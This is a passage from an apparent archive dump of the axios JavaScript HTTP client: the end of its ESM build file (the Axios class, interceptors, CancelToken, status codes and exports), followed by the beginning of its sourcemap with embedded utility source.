 * @return {Axios} A new instance of Axios
 */
class Axios$1 {
  constructor(instanceConfig) {
    this.defaults = instanceConfig;
    this.interceptors = {
      request: new InterceptorManager$1(),
      response: new InterceptorManager$1()
    };
  }

  /**
   * Dispatch a request
   *
   * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)
   * @param {?Object} config
   *
   * @returns {Promise} The Promise to be fulfilled
   */
  async request(configOrUrl, config) {
    try {
      return await this._request(configOrUrl, config);
    } catch (err) {
      if (err instanceof Error) {
        let dummy;

        Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());

        // slice off the Error: ... line
        const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : '';
        try {
          if (!err.stack) {
            err.stack = stack;
            // match without the 2 top stack lines
          } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) {
            err.stack += '\n' + stack;
          }
        } catch (e) {
          // ignore the case where "stack" is an un-writable property
        }
      }

      throw err;
    }
  }

  _request(configOrUrl, config) {
    /*eslint no-param-reassign:0*/
    // Allow for axios('example/url'[, config]) a la fetch API
    if (typeof configOrUrl === 'string') {
      config = config || {};
      config.url = configOrUrl;
    } else {
      config = configOrUrl || {};
    }

    config = mergeConfig$1(this.defaults, config);

    const {transitional, paramsSerializer, headers} = config;

    if (transitional !== undefined) {
      validator.assertOptions(transitional, {
        silentJSONParsing: validators.transitional(validators.boolean),
        forcedJSONParsing: validators.transitional(validators.boolean),
        clarifyTimeoutError: validators.transitional(validators.boolean)
      }, false);
    }

    if (paramsSerializer != null) {
      if (utils$1.isFunction(paramsSerializer)) {
        config.paramsSerializer = {
          serialize: paramsSerializer
        };
      } else {
        validator.assertOptions(paramsSerializer, {
          encode: validators.function,
          serialize: validators.function
        }, true);
      }
    }

    // Set config.method
    config.method = (config.method || this.defaults.method || 'get').toLowerCase();

    // Flatten headers
    let contextHeaders = headers && utils$1.merge(
      headers.common,
      headers[config.method]
    );

    headers && utils$1.forEach(
      ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],
      (method) => {
        delete headers[method];
      }
    );

    config.headers = AxiosHeaders$2.concat(contextHeaders, headers);

    // filter out skipped interceptors
    const requestInterceptorChain = [];
    let synchronousRequestInterceptors = true;
    this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
      if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {
        return;
      }

      synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;

      requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);
    });

    const responseInterceptorChain = [];
    this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
      responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);
    });

    let promise;
    let i = 0;
    let len;

    if (!synchronousRequestInterceptors) {
      const chain = [dispatchRequest.bind(this), undefined];
      chain.unshift.apply(chain, requestInterceptorChain);
      chain.push.apply(chain, responseInterceptorChain);
      len = chain.length;

      promise = Promise.resolve(config);

      while (i < len) {
        promise = promise.then(chain[i++], chain[i++]);
      }

      return promise;
    }

    len = requestInterceptorChain.length;

    let newConfig = config;

    i = 0;

    while (i < len) {
      const onFulfilled = requestInterceptorChain[i++];
      const onRejected = requestInterceptorChain[i++];
      try {
        newConfig = onFulfilled(newConfig);
      } catch (error) {
        onRejected.call(this, error);
        break;
      }
    }

    try {
      promise = dispatchRequest.call(this, newConfig);
    } catch (error) {
      return Promise.reject(error);
    }

    i = 0;
    len = responseInterceptorChain.length;

    while (i < len) {
      promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);
    }

    return promise;
  }

  getUri(config) {
    config = mergeConfig$1(this.defaults, config);
    const fullPath = buildFullPath(config.baseURL, config.url);
    return buildURL(fullPath, config.params, config.paramsSerializer);
  }
}

// Provide aliases for supported request methods
utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
  /*eslint func-names:0*/
  Axios$1.prototype[method] = function(url, config) {
    return this.request(mergeConfig$1(config || {}, {
      method,
      url,
      data: (config || {}).data
    }));
  };
});

utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
  /*eslint func-names:0*/

  function generateHTTPMethod(isForm) {
    return function httpMethod(url, data, config) {
      return this.request(mergeConfig$1(config || {}, {
        method,
        headers: isForm ? {
          'Content-Type': 'multipart/form-data'
        } : {},
        url,
        data
      }));
    };
  }

  Axios$1.prototype[method] = generateHTTPMethod();

  Axios$1.prototype[method + 'Form'] = generateHTTPMethod(true);
});

const Axios$2 = Axios$1;

/**
 * A `CancelToken` is an object that can be used to request cancellation of an operation.
 *
 * @param {Function} executor The executor function.
 *
 * @returns {CancelToken}
 */
class CancelToken$1 {
  constructor(executor) {
    if (typeof executor !== 'function') {
      throw new TypeError('executor must be a function.');
    }

    let resolvePromise;

    this.promise = new Promise(function promiseExecutor(resolve) {
      resolvePromise = resolve;
    });

    const token = this;

    // eslint-disable-next-line func-names
    this.promise.then(cancel => {
      if (!token._listeners) return;

      let i = token._listeners.length;

      while (i-- > 0) {
        token._listeners[i](cancel);
      }
      token._listeners = null;
    });

    // eslint-disable-next-line func-names
    this.promise.then = onfulfilled => {
      let _resolve;
      // eslint-disable-next-line func-names
      const promise = new Promise(resolve => {
        token.subscribe(resolve);
        _resolve = resolve;
      }).then(onfulfilled);

      promise.cancel = function reject() {
        token.unsubscribe(_resolve);
      };

      return promise;
    };

    executor(function cancel(message, config, request) {
      if (token.reason) {
        // Cancellation has already been requested
        return;
      }

      token.reason = new CanceledError$1(message, config, request);
      resolvePromise(token.reason);
    });
  }

  /**
   * Throws a `CanceledError` if cancellation has been requested.
   */
  throwIfRequested() {
    if (this.reason) {
      throw this.reason;
    }
  }

  /**
   * Subscribe to the cancel signal
   */

  subscribe(listener) {
    if (this.reason) {
      listener(this.reason);
      return;
    }

    if (this._listeners) {
      this._listeners.push(listener);
    } else {
      this._listeners = [listener];
    }
  }

  /**
   * Unsubscribe from the cancel signal
   */

  unsubscribe(listener) {
    if (!this._listeners) {
      return;
    }
    const index = this._listeners.indexOf(listener);
    if (index !== -1) {
      this._listeners.splice(index, 1);
    }
  }

  /**
   * Returns an object that contains a new `CancelToken` and a function that, when called,
   * cancels the `CancelToken`.
   */
  static source() {
    let cancel;
    const token = new CancelToken$1(function executor(c) {
      cancel = c;
    });
    return {
      token,
      cancel
    };
  }
}

const CancelToken$2 = CancelToken$1;

/**
 * Syntactic sugar for invoking a function and expanding an array for arguments.
 *
 * Common use case would be to use `Function.prototype.apply`.
 *
 *  ```js
 *  function f(x, y, z) {}
 *  var args = [1, 2, 3];
 *  f.apply(null, args);
 *  ```
 *
 * With `spread` this example can be re-written.
 *
 *  ```js
 *  spread(function(x, y, z) {})([1, 2, 3]);
 *  ```
 *
 * @param {Function} callback
 *
 * @returns {Function}
 */
function spread$1(callback) {
  return function wrap(arr) {
    return callback.apply(null, arr);
  };
}

/**
 * Determines whether the payload is an error thrown by Axios
 *
 * @param {*} payload The value to test
 *
 * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false
 */
function isAxiosError$1(payload) {
  return utils$1.isObject(payload) && (payload.isAxiosError === true);
}

const HttpStatusCode$1 = {
  Continue: 100,
  SwitchingProtocols: 101,
  Processing: 102,
  EarlyHints: 103,
  Ok: 200,
  Created: 201,
  Accepted: 202,
  NonAuthoritativeInformation: 203,
  NoContent: 204,
  ResetContent: 205,
  PartialContent: 206,
  MultiStatus: 207,
  AlreadyReported: 208,
  ImUsed: 226,
  MultipleChoices: 300,
  MovedPermanently: 301,
  Found: 302,
  SeeOther: 303,
  NotModified: 304,
  UseProxy: 305,
  Unused: 306,
  TemporaryRedirect: 307,
  PermanentRedirect: 308,
  BadRequest: 400,
  Unauthorized: 401,
  PaymentRequired: 402,
  Forbidden: 403,
  NotFound: 404,
  MethodNotAllowed: 405,
  NotAcceptable: 406,
  ProxyAuthenticationRequired: 407,
  RequestTimeout: 408,
  Conflict: 409,
  Gone: 410,
  LengthRequired: 411,
  PreconditionFailed: 412,
  PayloadTooLarge: 413,
  UriTooLong: 414,
  UnsupportedMediaType: 415,
  RangeNotSatisfiable: 416,
  ExpectationFailed: 417,
  ImATeapot: 418,
  MisdirectedRequest: 421,
  UnprocessableEntity: 422,
  Locked: 423,
  FailedDependency: 424,
  TooEarly: 425,
  UpgradeRequired: 426,
  PreconditionRequired: 428,
  TooManyRequests: 429,
  RequestHeaderFieldsTooLarge: 431,
  UnavailableForLegalReasons: 451,
  InternalServerError: 500,
  NotImplemented: 501,
  BadGateway: 502,
  ServiceUnavailable: 503,
  GatewayTimeout: 504,
  HttpVersionNotSupported: 505,
  VariantAlsoNegotiates: 506,
  InsufficientStorage: 507,
  LoopDetected: 508,
  NotExtended: 510,
  NetworkAuthenticationRequired: 511,
};

Object.entries(HttpStatusCode$1).forEach(([key, value]) => {
  HttpStatusCode$1[value] = key;
});

const HttpStatusCode$2 = HttpStatusCode$1;

/**
 * Create an instance of Axios
 *
 * @param {Object} defaultConfig The default config for the instance
 *
 * @returns {Axios} A new instance of Axios
 */
function createInstance(defaultConfig) {
  const context = new Axios$2(defaultConfig);
  const instance = bind(Axios$2.prototype.request, context);

  // Copy axios.prototype to instance
  utils$1.extend(instance, Axios$2.prototype, context, {allOwnKeys: true});

  // Copy context to instance
  utils$1.extend(instance, context, null, {allOwnKeys: true});

  // Factory for creating new instances
  instance.create = function create(instanceConfig) {
    return createInstance(mergeConfig$1(defaultConfig, instanceConfig));
  };

  return instance;
}

// Create the default instance to be exported
const axios = createInstance(defaults$1);

// Expose Axios class to allow class inheritance
axios.Axios = Axios$2;

// Expose Cancel & CancelToken
axios.CanceledError = CanceledError$1;
axios.CancelToken = CancelToken$2;
axios.isCancel = isCancel$1;
axios.VERSION = VERSION$1;
axios.toFormData = toFormData$1;

// Expose AxiosError class
axios.AxiosError = AxiosError$1;

// alias for CanceledError for backward compatibility
axios.Cancel = axios.CanceledError;

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};

axios.spread = spread$1;

// Expose isAxiosError
axios.isAxiosError = isAxiosError$1;

// Expose mergeConfig
axios.mergeConfig = mergeConfig$1;

axios.AxiosHeaders = AxiosHeaders$2;

axios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing);

axios.getAdapter = adapters.getAdapter;

axios.HttpStatusCode = HttpStatusCode$2;

axios.default = axios;

// this module should only have a default export
const axios$1 = axios;

// This module is intended to unwrap Axios default export as named.
// Keep top-level export same with static properties
// so that it can keep same with es module or cjs
const {
  Axios,
  AxiosError,
  CanceledError,
  isCancel,
  CancelToken,
  VERSION,
  all,
  Cancel,
  isAxiosError,
  spread,
  toFormData,
  AxiosHeaders,
  HttpStatusCode,
  formToJSON,
  getAdapter,
  mergeConfig
} = axios$1;

export { Axios, AxiosError, AxiosHeaders, Cancel, CancelToken, CanceledError, HttpStatusCode, VERSION, all, axios$1 as default, formToJSON, getAdapter, isAxiosError, isCancel, mergeConfig, spread, toFormData };
//# sourceMappingURL=axios.js.map
esm/axios.js.map000064400000615004151677271550007613 0ustar00{"version":3,"file":"axios.js","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/null.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/browser/classes/URLSearchParams.js","../../lib/platform/browser/classes/FormData.js","../../lib/platform/browser/classes/Blob.js","../../lib/platform/browser/index.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/speedometer.js","../../lib/helpers/throttle.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/buildFullPath.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/core/dispatchRequest.js","../../lib/env/data.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js","../../index.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n  return function wrap() {\n    return fn.apply(thisArg, arguments);\n  };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n    const str = toString.call(thing);\n    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n  type = type.toLowerCase();\n  return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  let result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n  if (kindOf(val) !== 'object') {\n    return false;\n  }\n\n  const prototype = getPrototypeOf(val);\n  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n  let kind;\n  return thing && (\n    (typeof FormData === 'function' && thing instanceof FormData) || (\n      isFunction(thing.append) && (\n        (kind = kindOf(thing)) === 'formdata' ||\n        // detect form-data instance\n        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n  str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  let i;\n  let l;\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n    const len = keys.length;\n    let key;\n\n    for (i = 0; i < len; i++) {\n      key = keys[i];\n      fn.call(null, obj[key], key, obj);\n    }\n  }\n}\n\nfunction findKey(obj, key) {\n  key = key.toLowerCase();\n  const keys = Object.keys(obj);\n  let i = keys.length;\n  let _key;\n  while (i-- > 0) {\n    _key = keys[i];\n    if (key === _key.toLowerCase()) {\n      return _key;\n    }\n  }\n  return null;\n}\n\nconst _global = (() => {\n  /*eslint no-undef:0*/\n  if (typeof globalThis !== \"undefined\") return globalThis;\n  return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const {caseless} = isContextDefined(this) && this || {};\n  const result = {};\n  const assignValue = (val, key) => {\n    const targetKey = caseless && findKey(result, key) || key;\n    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n      result[targetKey] = merge(result[targetKey], val);\n    } else if (isPlainObject(val)) {\n      result[targetKey] = merge({}, val);\n    } else if (isArray(val)) {\n      result[targetKey] = val.slice();\n    } else {\n      result[targetKey] = val;\n    }\n  }\n\n  for (let i = 0, l = arguments.length; i < l; i++) {\n    arguments[i] && forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n  forEach(b, (val, key) => {\n    if (thisArg && isFunction(val)) {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  }, {allOwnKeys});\n  return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n  if (content.charCodeAt(0) === 0xFEFF) {\n    content = content.slice(1);\n  }\n  return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n  constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n  constructor.prototype.constructor = constructor;\n  Object.defineProperty(constructor, 'super', {\n    value: superConstructor.prototype\n  });\n  props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n  let props;\n  let i;\n  let prop;\n  const merged = {};\n\n  destObj = destObj || {};\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  if (sourceObj == null) return destObj;\n\n  do {\n    props = Object.getOwnPropertyNames(sourceObj);\n    i = props.length;\n    while (i-- > 0) {\n      prop = props[i];\n      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n        destObj[prop] = sourceObj[prop];\n        merged[prop] = true;\n      }\n    }\n    sourceObj = filter !== false && getPrototypeOf(sourceObj);\n  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n  return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n  str = String(str);\n  if (position === undefined || position > str.length) {\n    position = str.length;\n  }\n  position -= searchString.length;\n  const lastIndex = str.indexOf(searchString, position);\n  return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n  if (!thing) return null;\n  if (isArray(thing)) return thing;\n  let i = thing.length;\n  if (!isNumber(i)) return null;\n  const arr = new Array(i);\n  while (i-- > 0) {\n    arr[i] = thing[i];\n  }\n  return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n  // eslint-disable-next-line func-names\n  return thing => {\n    return TypedArray && thing instanceof TypedArray;\n  };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n  const generator = obj && obj[Symbol.iterator];\n\n  const iterator = generator.call(obj);\n\n  let result;\n\n  while ((result = iterator.next()) && !result.done) {\n    const pair = result.value;\n    fn.call(obj, pair[0], pair[1]);\n  }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n  let matches;\n  const arr = [];\n\n  while ((matches = regExp.exec(str)) !== null) {\n    arr.push(matches);\n  }\n\n  return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n  return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n    function replacer(m, p1, p2) {\n      return p1.toUpperCase() + p2;\n    }\n  );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n  const descriptors = Object.getOwnPropertyDescriptors(obj);\n  const reducedDescriptors = {};\n\n  forEach(descriptors, (descriptor, name) => {\n    let ret;\n    if ((ret = reducer(descriptor, name, obj)) !== false) {\n      reducedDescriptors[name] = ret || descriptor;\n    }\n  });\n\n  Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n  reduceDescriptors(obj, (descriptor, name) => {\n    // skip restricted props in strict mode\n    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n      return false;\n    }\n\n    const value = obj[name];\n\n    if (!isFunction(value)) return;\n\n    descriptor.enumerable = false;\n\n    if ('writable' in descriptor) {\n      descriptor.writable = false;\n      return;\n    }\n\n    if (!descriptor.set) {\n      descriptor.set = () => {\n        throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n      };\n    }\n  });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n  const obj = {};\n\n  const define = (arr) => {\n    arr.forEach(value => {\n      obj[value] = true;\n    });\n  }\n\n  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n  return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n  return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n  DIGIT,\n  ALPHA,\n  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n  let str = '';\n  const {length} = alphabet;\n  while (size--) {\n    str += alphabet[Math.random() * length|0]\n  }\n\n  return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n  const stack = new Array(10);\n\n  const visit = (source, i) => {\n\n    if (isObject(source)) {\n      if (stack.indexOf(source) >= 0) {\n        return;\n      }\n\n      if(!('toJSON' in source)) {\n        stack[i] = source;\n        const target = isArray(source) ? [] : {};\n\n        forEach(source, (value, key) => {\n          const reducedValue = visit(value, i + 1);\n          !isUndefined(reducedValue) && (target[key] = reducedValue);\n        });\n\n        stack[i] = undefined;\n\n        return target;\n      }\n    }\n\n    return source;\n  }\n\n  return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n  isArray,\n  isArrayBuffer,\n  isBuffer,\n  isFormData,\n  isArrayBufferView,\n  isString,\n  isNumber,\n  isBoolean,\n  isObject,\n  isPlainObject,\n  isReadableStream,\n  isRequest,\n  isResponse,\n  isHeaders,\n  isUndefined,\n  isDate,\n  isFile,\n  isBlob,\n  isRegExp,\n  isFunction,\n  isStream,\n  isURLSearchParams,\n  isTypedArray,\n  isFileList,\n  forEach,\n  merge,\n  extend,\n  trim,\n  stripBOM,\n  inherits,\n  toFlatObject,\n  kindOf,\n  kindOfTest,\n  endsWith,\n  toArray,\n  forEachEntry,\n  matchAll,\n  isHTMLForm,\n  hasOwnProperty,\n  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n  reduceDescriptors,\n  freezeMethods,\n  toObjectSet,\n  toCamelCase,\n  noop,\n  toFiniteNumber,\n  findKey,\n  global: _global,\n  isContextDefined,\n  ALPHABET,\n  generateString,\n  isSpecCompliantForm,\n  toJSONObject,\n  isAsyncFn,\n  isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n  Error.call(this);\n\n  if (Error.captureStackTrace) {\n    